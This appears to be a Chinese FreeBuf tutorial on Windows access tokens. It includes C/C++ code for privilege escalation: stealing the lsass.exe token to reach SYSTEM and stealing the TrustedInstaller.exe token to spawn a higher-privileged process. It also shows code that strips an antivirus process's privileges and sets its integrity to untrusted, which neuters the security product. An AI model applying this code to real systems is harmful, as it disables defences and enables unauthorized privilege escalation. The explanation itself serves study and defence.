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浅析Windows Access Token以及利用方法

FreeBuf 2023-01-26

1 前置概念

关于Windows Access Token


Windows Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。每个用户登录计算机都会产生一个AcessToken以用于创建进程和线程,用户注销以后会将主令牌切换成模拟令牌,也就是授权令牌和模拟令牌,不会清除令牌,只有重启才会。


两种类型的Token


Delegation token(授权令牌):用于交互会话登录(例如本地直接登录、rdp login 、psexec )


Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹,或者wmi、winrm等等)


注:
都是在登录时产生创建的,两种token只在系统重启后清除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。


TOKEN的产生


每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token(如果CreaetProcess时自己指定了Token, LSA会用该Token,否则就继承父进程Token进行运行)


TOKEN组成

当前用户的安全ID(SID)
当前用户所属组的安全ID(SID)
当前会话安全ID
用户所有的特权列表(包括用户本身,和其所属组)
令牌拥有者安全ID
用户所属主组群安全ID
默认的自由访问控制列表
源访问令牌
表明此令牌是源令牌还是模拟令牌
可选的链表,表明此令牌限制哪些SID
当前模拟令牌的级别
其他数据资料


2 进程的身份标识:Luid与SID

Luid


每个特权常量字符串(Privileges)都对应一个LUID(本地标识符),使用LookupPrivilegeName函数将LUID转换为其对应的字符串常量,总计是36个特权,所以LUID有36个(0x24),所有特权如下:


  • MSDN对特权常量的描述:
    https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants


SID

安全标识符(SID)是用户、组的唯一标识符,SID的构成如下:
S-版本号-(颁发机构:Identity-Authority)-(子机构:SubAuthority)-RID

MSDN上的一个例子:


由4个部分组成,其中的子机构值是可以由多位组成,“whoami /all” 可以查看本机中的用户的sid以及用户组的sid。


这里讲一个后续会用到的sid:S-1-16-0,微软的解释是一个权限最低的完整性级别的SID。


标识符机构值为16(0x10)表示强制完整级别的SID,


微软关于强制完整性控制的解释。


3 举例

下面举一个赋予当前进程操作令牌DEBUG权限的例子。

很多操作一般都需要赋予当前进程操作令牌权限:SE_DEBUG_NAME,然后再进行令牌操作,比如清除令牌、伪造令牌,在加载驱动的时候如果要连接驱动是需要Debug权限的,否则无法进行createFile生成驱动句柄。

OpenProcessToken 获取进程令牌,GetCurrentProcess获取到当前进程伪句柄(进程之间通信伪句柄需要转化成实句柄(DuplicateHandle))。

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { printf("[-]get token failed!\n"); } else { printf("[*]get token success\n"); }

LookupPrivilegeValue 获取本地系统的 SE_DEBUG_NAME 特权的LUID值返回给sedebugnameValue。

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { CloseHandle(hToken); return false; }

AdjustTokenPrivileges 修改进程特权为 SE_DEBUG_NAME 特权,tkp.PrivilegeCount表示设置新特权的特权数量,tkp.Privileges[0].Attributes表示特权的属性;SE_PRIVILEGE_ENABLED就表示启用该特权。设置完记得GetLastError 看是否成功。

tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { CloseHandle(hToken); return false; }

降权杀软进程


1.思路:通过遍历36个Luid清空TOKEN、降权SID,来达到降权进程的目的

2.代码实现:给当前进程一个SE_DEBUG_NAME的特权,赋予进行token操作的权限

bool EnableDebugPrivilege(){ HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { CloseHandle(hToken); return false; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { CloseHandle(hToken); return false; } return true;}

获取一下借用下lsass的token提权到system

int pid = processID("lsass.exe");
HANDLE ptoken;HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);
BOOL bRet = ImpersonateLoggedOnUser(ptoken);if (bRet == FALSE) return 1;

打开目标进程,获取句柄
HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processID(procname));erroint = GetLastError();if (erroint == NULL) printf("[+]Get ProcHandle success Pid:%d\n", processID(procname));else printf("Get ProcHandle fail:%d\n", erroint);

获取到目标进程的token

int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &Ltoken);erroint = GetLastError();if (erroint == NULL) cout << "[+]Get ProcToken success" << endl;else printf("Get ProcToken fail:%d\n", erroint);

核心代码:上文提到了LUID(特权常量)共计是36个(0x24),这里我们直接遍历36个每个全部移除掉。

BOOL DisablePrivilege(HANDLE token) { typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAdjustPrivilegesToken"); if (ZwAdjustPrivilegesToken == NULL) { printf("Can not found ZwAdjustPrivilegesToken"); return -1; }
for (int i = 0; i <= 0x24; i++) { TOKEN_PRIVILEGES tp = {}; LUID luid = {}; luid.HighPart = 0; luid.LowPart = i; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL); erroint = GetLastError(); if (erroint == NULL) cout << "[+]Remove ProcToken success" << endl; else printf("Remove ProcToken fail:%d\n", erroint); }
return TRUE;
}

设置sid为不受信任的强制完整性权限:s-1-16-0(这里可理解为就是个弟中之弟的一个sid),

DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;SID sid = {};sid.Revision = SID_REVISION;sid.SubAuthorityCount = 1;sid.IdentifierAuthority.Value[5] = 16;sid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tml = {};tml.Label.Attributes = SE_GROUP_INTEGRITY;tml.Label.Sid = &sid;

最后重新设置目标进程的token和sid,

BOOL Rret = SetTokenInformation(Ltoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));

注意:当前时间已经无法获取到defender的token,GetLastError:


5 提示权限不够,切换成TrustedInstaller也不行,或许是hook了OpenProcessToken,可以syscall试试。


通过token窃取获得TrustedInstaller权限


1. 什么是TrustedInstaller:在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller。

2. 如何得到它的token:直接窃取TrustedInstaller.exe的token,起一个进程就可以得到一个trustedInstaller权限的进程。前提是需要system权限。


3. 代码实现:大致操作如下:先窃取lsass.exe的token提升当前进程的权限为system,然后窃取TrustedInstaller.exe的token,来获得一个拥有TrustedInstaller权限的CMD。


获取一个system权限的进程句柄,通过进程句柄获取到token,并且赋予给当前进程,提权到system。

HANDLE ptoken1; HANDLE phandle1 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid1); BOOL token1 = OpenProcessToken(phandle1, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken1);
BOOL bRet1 = ImpersonateLoggedOnUser(ptoken1); if (bRet1 == FALSE) return 1;

通过进程快照,查找到TrustedInstaller.exe的pid。
wchar_t procname[80] = L"TrustedInstaller.exe"; int pid = FindProcessId(procname);

获取当前进程的token给到htoken。

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { printf("[-]get token failed!\n"); } else { printf("[*]get token success\n"); }

打开TrustedInstaller.exe,获取到它的进程句柄phandle。

HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
printf("[*]Opened Target Handle\n"); } else { printf("[-]Failed to open Process Handle\n"); }

取到TrustedInstaller.exe的token,这里我们只需要复制和查询权限即可,如果用TOKEN_ALL_ACCESS会提示无权限。



BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken); if (token) { printf("[+]Opened Target Token Handle\n"); } else { printf("[-]Failed to open Token Handle:%d\n", GetLastError()); }

再通过我们拿到的token去启一个我们想要启动的进程,

BOOL ret = CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, wstrExecutablePath.c_str(), NULL, 0, NULL, NULL, &si, &pi); if (!ret) printf("[-]Create Failed:%d\n", GetLastError()); else printf("[+]Create success!!");

最后可以看到从administrator提到了TrustedInstaller权限。



4 最后

这种token替换提权的操作无法通过普通用户来操作,最低都是要求要administrator,另可用于服务账户提权到systen,或者本地存在域管的token
用来替换域管的token。


token操作需要操作账户拥有以下权限之一(whoami /priv):

SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege

以上有问题欢迎各位交流指出。


参考:

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8

https://macchiato.ink/hst/bypassav/Token_Weakening/


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